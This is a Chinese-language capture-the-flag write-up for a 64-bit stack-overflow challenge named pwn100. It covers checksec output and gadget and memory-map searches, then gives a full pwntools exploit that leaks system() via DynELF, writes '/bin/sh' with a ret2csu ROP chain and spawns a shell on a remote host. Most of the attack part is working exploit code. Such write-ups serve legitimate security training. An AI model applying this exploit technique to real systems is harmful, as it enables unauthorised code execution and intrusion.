0x01寻找漏洞
checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
ida
存在栈溢出, 参数a1即v1,只有0x40的大小

0x02利用思路
无libc,无system,无"/bin/sh",有read,puts函数
1.利用
DynELF
模块泄露system函数地址
2.构造rop链,写入"/bin/sh"
3.调用system函数
puts只需要一个参数,所以找到pop rdi; ret
传参更方便
kk@ubuntu:~/Desktop/black/GFSJ/pwn100$ ROPgadget --binary pwn100 --only "pop|ret" | grep rdi
0x0000000000400763 : pop rdi ; ret
把binsh写入哪里呢?
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r-xp /home/kk/Desktop/black/GFSJ/pwn100/pwn100
0x00600000 0x00601000 r--p /home/kk/Desktop/black/GFSJ/pwn100/pwn100
0x00601000 0x00602000 rw-p /home/kk/Desktop/black/GFSJ/pwn100/pwn100
找到可写的地址=。=
0x03攻击
利用DynELF存在一个问题,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含/x00截断符,输出就会终止,且会自动将“\n”追加到输出字符串的末尾,这是puts函数的缺点
参考Tangerine利用漏洞获取libc解决
完整exp如下:
#!usr/bin/python
#coding=utf-8
from pwn import *
# context.log_level = 'debug'
io = remote('111.198.29.45',57902)
# io = process("./pwn100")
elf = ELF("./pwn100")
rop1 = 0x40075A #pop rbx_rbp_r12_r13_r14_r15
rop2 = 0x400740 #rdx(r13), rsi(r14), edi(r15d)
pop_rdi_ret = 0x400763
# start_addr = elf.symbols['_start']
start_addr = 0x400550
puts_plt = elf.plt['puts']
read_got = elf.got['read']
binsh_addr = 0x601000
def leak(addr):
payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(addr) + p64(puts_plt) + p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
up = ""
content = ""
count = 0
while True:
c = io.recv(numb=1, timeout=0.5)
count += 1
if up == '\n' and c == "":
content = content[:-1] + '\x00'
break
else:
content += c
up = c
content = content[:4]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content
d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')
log.info("system_addr => %#x", sys_addr)
payload = "a" * 0x48 + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(binsh_addr) + p64(1)
payload += p64(rop2)
payload += "\x00" * 56 #rop2结束又跳转到rop1,需要再填充7 * 8字节到返回地址
payload += p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
# gdb.attach(io)
io.send("/bin/sh\x00")
payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.interactive()
网友评论